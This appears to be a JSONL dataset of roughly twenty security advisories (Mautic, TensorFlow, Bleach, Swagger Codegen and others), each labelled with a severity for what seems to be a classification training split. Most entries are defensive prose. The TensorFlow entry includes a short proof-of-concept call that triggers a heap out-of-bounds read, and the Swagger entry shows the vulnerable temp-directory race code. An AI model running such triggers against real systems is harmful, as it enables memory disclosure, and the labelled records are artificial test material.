-{"id": "3101263954cb3382c65d", "text": "Inline JS XSS vulnerability in Mautic\n\n### Impact\n\nMautic version 2.1.0 - 2.11.0 is vulnerable to an inline JS XSS attack when using Mautic forms on a Mautic landing page using GET parameters to pre-populate the form.\n\n### Patches\nUpgrade to 2.12.0 or later.\n\n### Workarounds\nNone\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/2.12.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Inline JS XSS vulnerability in Mautic\n\n[Severity: MEDIUM]\n\n### Impact\n\nMautic version 2.1.0 - 2.11.0 is vulnerable to an inline JS XSS attack when using Mautic forms on a Mautic landing page using GET parameters to pre-populate the form.\n\n### Patches\nUpgrade to 2.12.0 or later.\n\n### Workarounds\nNone\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/2.12.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "6a9ae03e2b277bf00ac8", "text": "Insecure Default Configuration in graphql-code-generator\n\nVersions of `graphql-code-generator` prior to 0.18.2 have an Insecure Default Configuration. The packages sets `NODE_TLS_REJECT_UNAUTHORIZED` to 0, disabling certificate verification for the entire project. This results in Insecure Communication for the process.\n\n## Recommendation\n\nUpgrade to version 0.18.2 or later.", "text_raw": "Insecure Default Configuration in graphql-code-generator\n\n[Severity: HIGH]\n\nVersions of `graphql-code-generator` prior to 0.18.2 have an Insecure Default Configuration. The packages sets `NODE_TLS_REJECT_UNAUTHORIZED` to 0, disabling certificate verification for the entire project. This results in Insecure Communication for the process.\n\n\n## Recommendation\n\nUpgrade to version 0.18.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "da5f1552adebe67d3e3c", "text": "openframe-ascii-image downloads Resources over HTTP\n\nAffected versions of `openframe-ascii-image` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `openframe-ascii-image`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "openframe-ascii-image downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `openframe-ascii-image` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `openframe-ascii-image`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "fec2274ec83a588d7315", "text": "Remote Code Execution in Halibut\n\nIn Halibut versions prior to 4.4.7 there is a deserialisation vulnerability that could allow remote code execution on systems that already trust each other based on certificate verification.", "text_raw": "Remote Code Execution in Halibut\n\n[Severity: CRITICAL]\n\nIn Halibut versions prior to 4.4.7 there is a deserialisation vulnerability that could allow remote code execution on systems that already trust each other based on certificate verification.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "dd9d80b60e27f965fffb", "text": "GitLab auth uses full name instead of username as user ID, allowing impersonation\n\n### Impact\n\nInstallations which use the GitLab auth connector are vulnerable to identity spoofing by way of configuring a GitLab account with the same full name as another GitLab user who is granted access to a Concourse team by having their full name listed under `users` in the team configuration or given to the `--gitlab-user` flag.\n\nSee the [GitLab auth docs](https://concourse-ci.org/gitlab-auth.html) for details.\n\nConcourse installations which do not configure the GitLab auth connector are not affected.\n\n### Patches\n\nConcourse [v6.3.1](https://github.com/concourse/concourse/releases/tag/v6.3.1) and [v6.4.1](https://github.com/concourse/concourse/releases/tag/v6.4.1) were both released with a fix on August 4th, 2020.\n\nBoth versions change the GitLab connector to use the username, rather than the full name. This was always the intent, and the previous behavior was originally reported as a bug (concourse/dex#7) prior to being reported as a security issue.\n\nAny Concourse teams which configure GitLab users will have to switch each user from their full name to their username upon upgrading to these versions.\n\n### Workarounds\n\nGitLab groups do not have this vulnerability, so GitLab users may be moved into groups which are then configured in the Concourse team.\n\n### References\n\n* concourse/dex#12: PR with the fix\n\n### For more information\n\nIf you have any questions or comments about this advisory, you may reach us privately at [concourseteam+security@gmail.com](mailto:concourseteam+security@gmail.com).", "text_raw": "GitLab auth uses full name instead of username as user ID, allowing impersonation\n\n[Severity: HIGH]\n\n### Impact\n\nInstallations which use the GitLab auth connector are vulnerable to identity spoofing by way of configuring a GitLab account with the same full name as another GitLab user who is granted access to a Concourse team by having their full name listed under `users` in the team configuration or given to the `--gitlab-user` flag.\n\nSee the [GitLab auth docs](https://concourse-ci.org/gitlab-auth.html) for details.\n\nConcourse installations which do not configure the GitLab auth connector are not affected.\n\n### Patches\n\nConcourse [v6.3.1](https://github.com/concourse/concourse/releases/tag/v6.3.1) and [v6.4.1](https://github.com/concourse/concourse/releases/tag/v6.4.1) were both released with a fix on August 4th, 2020.\n\nBoth versions change the GitLab connector to use the username, rather than the full name. This was always the intent, and the previous behavior was originally reported as a bug (concourse/dex#7) prior to being reported as a security issue.\n\nAny Concourse teams which configure GitLab users will have to switch each user from their full name to their username upon upgrading to these versions.\n\n### Workarounds\n\nGitLab groups do not have this vulnerability, so GitLab users may be moved into groups which are then configured in the Concourse team.\n\n### References\n\n* concourse/dex#12: PR with the fix\n\n### For more information\n\nIf you have any questions or comments about this advisory, you may reach us privately at [concourseteam+security@gmail.com](mailto:concourseteam+security@gmail.com).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "27fa8420195ca14681c5", "text": "Reflected Cross-site Scripting (XSS) in ACS Commons\n\nACS Commons version 4.9.2 (and earlier) suffers from a Reflected Cross-site Scripting (XSS) vulnerability in version-compare and page-compare due to invalid JCR characters that are not handled correctly. An attacker could potentially exploit this vulnerability to inject malicious JavaScript content into vulnerable form fields and execute it within the context of the victim's browser. Exploitation of this issue requires user interaction in order to be successful.", "text_raw": "Reflected Cross-site Scripting (XSS) in ACS Commons\n\n[Severity: MEDIUM]\n\nACS Commons version 4.9.2 (and earlier) suffers from a Reflected Cross-site Scripting (XSS) vulnerability in version-compare and page-compare due to invalid JCR characters that are not handled correctly. An attacker could potentially exploit this vulnerability to inject malicious JavaScript content into vulnerable form fields and execute it within the context of the victim's browser. Exploitation of this issue requires user interaction in order to be successful.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "cbd06cadd878ffe5f04b", "text": "Apache Commons Compress vulnerable to denial of service due to infinite loop\n\nA specially crafted ZIP archive can be used to cause an infinite loop inside of Apache Commons Compress' extra field parser used by the ZipFile and ZipArchiveInputStream classes in versions 1.11 to 1.15. This can be used to mount a denial of service attack against services that use Compress' zip package.", "text_raw": "Apache Commons Compress vulnerable to denial of service due to infinite loop\n\n[Severity: MEDIUM]\n\nA specially crafted ZIP archive can be used to cause an infinite loop inside of Apache Commons Compress' extra field parser used by the ZipFile and ZipArchiveInputStream classes in versions 1.11 to 1.15. This can be used to mount a denial of service attack against services that use Compress' zip package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "c97697c5ea53756f0123", "text": "Heap OOB in boosted trees\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(\n  node_id_range=[0,10],\n  stats_summary_indices=[[1, 2, 3, 0x1000000]],\n  stats_summary_values=[1.0],\n  stats_summary_shape=[1,1,1,1],\n  l1=l2=[1.0],\n  tree_complexity=[0.5],\n  min_node_weight=[1.0],\n  logits_dimension=3,\n  split_type='inequality')                                                                                                                                                                                                                                                                \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) needs to validate that each value in `stats_summary_indices` is in range.\n\n### Patches\nWe have patched the issue in GitHub commit [e84c975313e8e8e38bb2ea118196369c45c51378](https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in boosted trees\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(\n  node_id_range=[0,10],\n  stats_summary_indices=[[1, 2, 3, 0x1000000]],\n  stats_summary_values=[1.0],\n  stats_summary_shape=[1,1,1,1],\n  l1=l2=[1.0],\n  tree_complexity=[0.5],\n  min_node_weight=[1.0],\n  logits_dimension=3,\n  split_type='inequality')                                                                                                                                                                                                                                                                \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) needs to validate that each value in `stats_summary_indices` is in range.\n  \n### Patches\nWe have patched the issue in GitHub commit [e84c975313e8e8e38bb2ea118196369c45c51378](https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378).\n  \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fe2a1be115eb632be538", "text": "Cross-site Scripting in Documize\n\ndomain/section/markdown/markdown.go in Documize before 3.5.1 mishandles untrusted Markdown content. This was addressed by adding the bluemonday HTML sanitizer to defend against XSS.", "text_raw": "Cross-site Scripting in Documize\n\n[Severity: MEDIUM]\n\ndomain/section/markdown/markdown.go in Documize before 3.5.1 mishandles untrusted Markdown content. This was addressed by adding the bluemonday HTML sanitizer to defend against XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "6236d32d11b6560bbcf2", "text": "matrix-js-sdk can be tricked into disclosing E2EE room keys to a participating homeserver\n\n### Impact\n\nA logic error in the room key sharing functionality of matrix-js-sdk before 12.4.1 allows a malicious Matrix homeserver† participating in an encrypted room to steal room encryption keys from affected Matrix clients participating in that room. This allows the homeserver to decrypt end-to-end encrypted messages sent by affected clients.\n\n† Or anyone with access to the account of the original recipient of an encrypted message.\n\nKnown clients affected (via their use of vulnerable versions of matrix-js-sdk):\n\n- Element Web (1.8.2 and earlier)\n- Element Desktop (1.8.2 and earlier)\n- SchildiChat Web (1.7.32-sc1 and earlier)\n- SchildiChat Desktop (1.7.32-sc1 and earlier)\n- Cinny (1.2.0 and earlier)\n\n### Patch\n\nThis was fixed in https://github.com/matrix-org/matrix-js-sdk/commit/894c24880da0e1cc81818f51c0db80e3c9fb2be9.\n\n### Workarounds\nTo prevent a homeserver from being able to steal the room keys, vulnerable clients can be taken offline or signed out. If signing out, care should be taken to either set up Secure Backup or export E2E room keys in order to preserve access to past messages.", "text_raw": "matrix-js-sdk can be tricked into disclosing E2EE room keys to a participating homeserver\n\n[Severity: MEDIUM]\n\n### Impact\n\nA logic error in the room key sharing functionality of matrix-js-sdk before 12.4.1 allows a malicious Matrix homeserver† participating in an encrypted room to steal room encryption keys from affected Matrix clients participating in that room. This allows the homeserver to decrypt end-to-end encrypted messages sent by affected clients.\n\n† Or anyone with access to the account of the original recipient of an encrypted message.\n\nKnown clients affected (via their use of vulnerable versions of matrix-js-sdk):\n\n- Element Web (1.8.2 and earlier)\n- Element Desktop (1.8.2 and earlier)\n- SchildiChat Web (1.7.32-sc1 and earlier)\n- SchildiChat Desktop (1.7.32-sc1 and earlier)\n- Cinny (1.2.0 and earlier)\n\n### Patch\n\nThis was fixed in https://github.com/matrix-org/matrix-js-sdk/commit/894c24880da0e1cc81818f51c0db80e3c9fb2be9.\n\n### Workarounds\nTo prevent a homeserver from being able to steal the room keys, vulnerable clients can be taken offline or signed out. If signing out, care should be taken to either set up Secure Backup or export E2E room keys in order to preserve access to past messages.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-14", "split": "train"}
-{"id": "5ddc6c2fe720296a2544", "text": "PlaySMS Server-Side Template Injection Vulnerability\n\nAffected: PlaySMS PlaySMS\n\nPlaySMS contains a server-side template injection vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "PlaySMS Server-Side Template Injection Vulnerability\n\nAffected: PlaySMS PlaySMS\n\nPlaySMS contains a server-side template injection vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b0e755982b40ee11fb97", "text": "Generator Web Application: Local Privilege Escalation Vulnerability via System Temp Directory\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory.\n\nThis vulnerability is local privilege escalation because the contents of the `outputFolder` can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n\n#### Java Code\n\nThe method `File.createTempFile` from the JDK is vulnerable to this local information disclosure vulnerability.\n\nhttps://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-generator/src/main/java/io/swagger/generator/online/Generator.java#L174-L185\n\n### Patches\n\nFix has been applied to the master branch with:\n\n* https://github.com/swagger-api/swagger-codegen/commit/987ea7a30b463cc239580d6ad166c707ae942a89\n\nincluded in release: 2.4.19\n\n### References\n\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@swagger.io](mailto:security@swagger.io)\n\n#### Original vulnerability report\n\n> I'm performing OSS security research under the GitHub Security Lab Bug Bounty program.\n> I've been using a custom CodeQL query to find local temporary directory vulnerabilities in OSS with three custom CodeQL queries.\n> \n> - https://github.com/github/codeql/pull/4388/files#diff-71d36c0f2bd0b08e32866f873f1c906cdc17277e0ad327c0c6cd2c882f30de4f\n> - https://github.com/github/codeql/pull/4388/files#diff-1893a18a8bf43c011d61a7889d0139b998a5a78701a30fe7722eddd4c506aaac\n> - https://github.com/github/codeql/pull/4473\n> \n> The code generated by the Swagger Generator contains a local information disclosure vulnerability. The system temporary directory, on unix-like systems is shared between multiple users. Information written to this directory, or directories created under this directory that do not correctly set the posix standard permissions can have these directories read/modified by other users.\n> \n> ---\n> \n> This vulnerability exists in the maven plugin.\n> \n> This vulnerability is distinctly different. This vulnerability is most likely a local privilege escalation vulnerability.\n> \n> https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-generator/src/main/java/io/swagger/generator/online/Generator.java#L174-L185\n> \n> This vulnerability is very similar to this similar vulnerability I disclosed in the Eclipse Jetty project.\n> \n> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\n> \n> This is due to a race condition between the call to `delete` and the call to `mkdirs`.\n> \n> ```java\n> // ensure file will always be unique by appending random digits\n> File outputFolder = File.createTempFile(\"codegen-\", \"-tmp\"); // Attacker knows the full path of the file that will be generated\n> // delete the file that was created\n> outputFolder.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Swagger Code Generator.\n> // and make a directory of the same name\n> // SECURITY VULNERABILITY: Race Condition! - Attacker beats Swagger Code Generator and now owns this directory\n> outputFolder.mkdirs();\n> ```\n> \n> This vulnerability is local privilege escalation because the contents of the `outputFolder` can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n> \n> The fix here is to switch to the `Files` API for creating temporary directories. Which does not contain this race condition, and appropriately sets the correct file permissions.\n>", "text_raw": "Generator Web Application: Local Privilege Escalation Vulnerability via System Temp Directory\n\n[Severity: LOW]\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory. \n\nThis vulnerability is local privilege escalation because the contents of the `outputFolder` can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n\n#### Java Code\n\nThe method `File.createTempFile` from the JDK is vulnerable to this local information disclosure vulnerability.\n\nhttps://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-generator/src/main/java/io/swagger/generator/online/Generator.java#L174-L185\n\n\n### Patches\n\nFix has been applied to the master branch with:\n\n* https://github.com/swagger-api/swagger-codegen/commit/987ea7a30b463cc239580d6ad166c707ae942a89\n\nincluded in release: 2.4.19\n\n\n### References\n\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@swagger.io](mailto:security@swagger.io)\n\n#### Original vulnerability report\n\n> I'm performing OSS security research under the GitHub Security Lab Bug Bounty program.\n> I've been using a custom CodeQL query to find local temporary directory vulnerabilities in OSS with three custom CodeQL queries.\n> \n> - https://github.com/github/codeql/pull/4388/files#diff-71d36c0f2bd0b08e32866f873f1c906cdc17277e0ad327c0c6cd2c882f30de4f\n> - https://github.com/github/codeql/pull/4388/files#diff-1893a18a8bf43c011d61a7889d0139b998a5a78701a30fe7722eddd4c506aaac\n> - https://github.com/github/codeql/pull/4473\n> \n> The code generated by the Swagger Generator contains a local information disclosure vulnerability. The system temporary directory, on unix-like systems is shared between multiple users. Information written to this directory, or directories created under this directory that do not correctly set the posix standard permissions can have these directories read/modified by other users.\n> \n> ---\n> \n> This vulnerability exists in the maven plugin.\n> \n> This vulnerability is distinctly different. This vulnerability is most likely a local privilege escalation vulnerability.\n> \n> https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-generator/src/main/java/io/swagger/generator/online/Generator.java#L174-L185\n> \n> This vulnerability is very similar to this similar vulnerability I disclosed in the Eclipse Jetty project.\n> \n> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\n> \n> This is due to a race condition between the call to `delete` and the call to `mkdirs`.\n> \n> ```java\n> // ensure file will always be unique by appending random digits\n> File outputFolder = File.createTempFile(\"codegen-\", \"-tmp\"); // Attacker knows the full path of the file that will be generated\n> // delete the file that was created\n> outputFolder.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Swagger Code Generator.\n> // and make a directory of the same name\n> // SECURITY VULNERABILITY: Race Condition! - Attacker beats Swagger Code Generator and now owns this directory\n> outputFolder.mkdirs();\n> ```\n> \n> This vulnerability is local privilege escalation because the contents of the `outputFolder` can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n> \n> The fix here is to switch to the `Files` API for creating temporary directories. Which does not contain this race condition, and appropriately sets the correct file", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "bc6e1e2f77d61bf326c9", "text": "Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit", "text_raw": "Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "e6d3a1fd365c25e9a7cc", "text": "Cross-Site Scripting in connect\n\nconnect node module before 2.14.0 suffers from a Cross-Site Scripting (XSS) vulnerability due to a lack of validation of file in directory.js middleware.", "text_raw": "Cross-Site Scripting in connect\n\n[Severity: MEDIUM]\n\nconnect node module before 2.14.0 suffers from a Cross-Site Scripting (XSS) vulnerability due to a lack of validation of file in directory.js middleware.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "3e1e11b84a3a6d4ff880", "text": "Unauthorized File Access in node-git-server\n\nVersions of `node-git-server` prior to 0.6.1 are vulnerable to Unauthorized File Access. It is possible to access any git repository by using absolute paths, which may allow attackers to access private repositories.\n\n## Recommendation\n\nUpgrade to version 0.6.1 or later.", "text_raw": "Unauthorized File Access in node-git-server\n\n[Severity: HIGH]\n\nVersions of `node-git-server` prior to 0.6.1 are vulnerable to Unauthorized File Access. It is possible to access any git repository by using absolute paths, which may allow attackers to access private repositories.\n\n\n## Recommendation\n\nUpgrade to version 0.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bb42d475381d2cdb46f5", "text": "XSS in Bleach when noscript and raw tag whitelisted\n\n### Impact\n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with `noscript` and a raw tag (see below) in the allowed/whitelisted tags option.\n\n### Patches\n\nv3.1.1\n\n### Workarounds\n\n* modify `bleach.clean` calls to not whitelist `noscript` and one or more of the following raw tags:\n\n```\ntitle\ntextarea\nscript\nstyle\nnoembed\nnoframes\niframe\nxmp\n```\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1615315\n* https://cure53.de/fp170.pdf\n* https://nvd.nist.gov/vuln/detail/CVE-2020-6802\n* https://www.checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)", "text_raw": "XSS in Bleach when noscript and raw tag whitelisted\n\n[Severity: MEDIUM]\n\n### Impact\n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with `noscript` and a raw tag (see below) in the allowed/whitelisted tags option.\n\n### Patches\n\nv3.1.1\n\n### Workarounds\n\n* modify `bleach.clean` calls to not whitelist `noscript` and one or more of the following raw tags:\n\n```\ntitle\ntextarea\nscript\nstyle\nnoembed\nnoframes\niframe\nxmp\n```\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1615315\n* https://cure53.de/fp170.pdf\n* https://nvd.nist.gov/vuln/detail/CVE-2020-6802\n* https://www.checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "4c971c2e89e14d1cf382", "text": "In the Bouncy Castle JCE Provider version 1.55 and earlier DSA signature generation is vulnerable to timing attack. Where timings can be closely observed for the generation of signatures, the lack of blinding in 1.55, or earlier, may allow an attacker to gain information about the signature's k value and ultimately the private value as well.", "text_raw": "Moderate severity vulnerability that affects org.bouncycastle:bcprov-jdk14 and org.bouncycastle:bcprov-jdk15\n\n[Severity: MEDIUM]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier DSA signature generation is vulnerable to timing attack. Where timings can be closely observed for the generation of signatures, the lack of blinding in 1.55, or earlier, may allow an attacker to gain information about the signature's k value and ultimately the private value as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "febf6059c95e3e85590c", "text": "SSRF vulnerability in Apache Airflow\n\nIn Apache Airflow versions prior to 1.10.13, the Charts and Query View of the old (Flask-admin based) UI were vulnerable for SSRF attack.", "text_raw": "SSRF vulnerability in Apache Airflow\n\n[Severity: MEDIUM]\n\nIn Apache Airflow versions prior to 1.10.13, the Charts and Query View of the old (Flask-admin based) UI were vulnerable for SSRF attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-17", "split": "train"}
-{"id": "4a4e9cd94a979f950de3", "text": "OS Command injection in Bolt\n\nBolt before 3.7.2 does not restrict filter options in a Request in the Twig context, and is therefore inconsistent with the \"How to Harden Your PHP for Better Security\" guidance.", "text_raw": "OS Command injection in Bolt\n\n[Severity: MEDIUM]\n\nBolt before 3.7.2 does not restrict filter options in a Request in the Twig context, and is therefore inconsistent with the \"How to Harden Your PHP for Better Security\" guidance.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "110571b51c873abdd1b4", "text": "Cross-Site Request Forgery allowing sending of test emails and generation of node auto-deployment keys\n\n### Impact\nDue to improperly configured CSRF protections on two routes, a malicious user could execute a CSRF-based attack against the following endpoints:\n\n* Sending a test email.\n* Generating a node auto-deployment token.\n\nAt no point would any data be exposed to the malicious user, this would simply trigger email spam to an administrative user, or generate a single auto-deployment token unexpectedly. This token is not revealed to the malicious user, it is simply created unexpectedly in the system.\n\n### Patches\nThis has been addressed in https://github.com/pterodactyl/panel/commit/bf9cbe2c6d5266c6914223e067c56175de7fc3a5 which will be released as `1.6.6`.\n\n### Workarounds\nUsers may optionally manually apply the fixes released in v1.6.6 to patch their own systems.", "text_raw": "Cross-Site Request Forgery allowing sending of test emails and generation of node auto-deployment keys\n\n[Severity: MEDIUM]\n\n### Impact\nDue to improperly configured CSRF protections on two routes, a malicious user could execute a CSRF-based attack against the following endpoints:\n\n* Sending a test email.\n* Generating a node auto-deployment token.\n\nAt no point would any data be exposed to the malicious user, this would simply trigger email spam to an administrative user, or generate a single auto-deployment token unexpectedly. This token is not revealed to the malicious user, it is simply created unexpectedly in the system.\n\n### Patches\nThis has been addressed in https://github.com/pterodactyl/panel/commit/bf9cbe2c6d5266c6914223e067c56175de7fc3a5 which will be released as `1.6.6`.\n\n### Workarounds\nUsers may optionally manually apply the fixes released in v1.6.6 to patch their own systems.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "660aa4dac12bd83102b5", "text": "Cross-site Scripting in OpenCart\n\nOpenCart 3.0.3.2 allows remote authenticated users to conduct XSS attacks via a crafted filename in the users' image upload section.", "text_raw": "Cross-site Scripting in OpenCart\n\n[Severity: MEDIUM]\n\nOpenCart 3.0.3.2 allows remote authenticated users to conduct XSS attacks via a crafted filename in the users' image upload section.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "e8cfc363b2531f17e0d5", "text": "Insufficiently Protected Credentials in Elasticsearch\n\nElasticsearch versions 7.7.0 to 7.10.1 contain an information disclosure flaw in the async search API. Users who execute an async search will improperly store the HTTP headers. An Elasticsearch user with the ability to read the .tasks index could obtain sensitive request headers of other users in the cluster. This issue is fixed in Elasticsearch 7.10.2", "text_raw": "Insufficiently Protected Credentials in Elasticsearch\n\n[Severity: MEDIUM]\n\nElasticsearch versions 7.7.0 to 7.10.1 contain an information disclosure flaw in the async search API. Users who execute an async search will improperly store the HTTP headers. An Elasticsearch user with the ability to read the .tasks index could obtain sensitive request headers of other users in the cluster. This issue is fixed in Elasticsearch 7.10.2", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
